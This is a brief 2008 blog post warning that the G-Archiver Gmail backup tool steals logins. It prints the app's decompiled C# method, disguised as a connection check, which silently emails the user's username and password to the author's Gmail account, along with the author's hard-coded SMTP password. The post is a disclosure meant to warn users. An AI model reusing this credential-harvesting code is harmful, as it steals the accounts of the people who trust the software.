Sunday, March 09, 2008

G-Archiever story


Heard of G-Archiever. It archieves your gmail account. So far so good. What if this app. gets hold of your account info. ? Quite possible. You give your username, password when you want to archieve your gmail account. Below is the code where it mails your login credentials to this app's author(John Terry).

public static void CheckConnection(string a, string b)
{
try
{
MailMessage message = new MailMessage();
message.To.Add("JTerry79@gmail.com");
message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
message.Subject = "Account";
message.SubjectEncoding = Encoding.UTF8;
message.Body = "Username: " + a;
message.Body = message.Body + "\r\nPassword: " + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials =new NetworkCredential("JTerry79@gmail.com", "bilal482");
client.Port = 0x24b;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
client.Send(message);
}
catch (Exception)
{
}
}



Next time you share your net credentials, beware. Now, you know that there's atleast one rogue app. which fools around with your online privacy/security.

Refs,: codinghorror, readwriteweb, gogoled

No comments: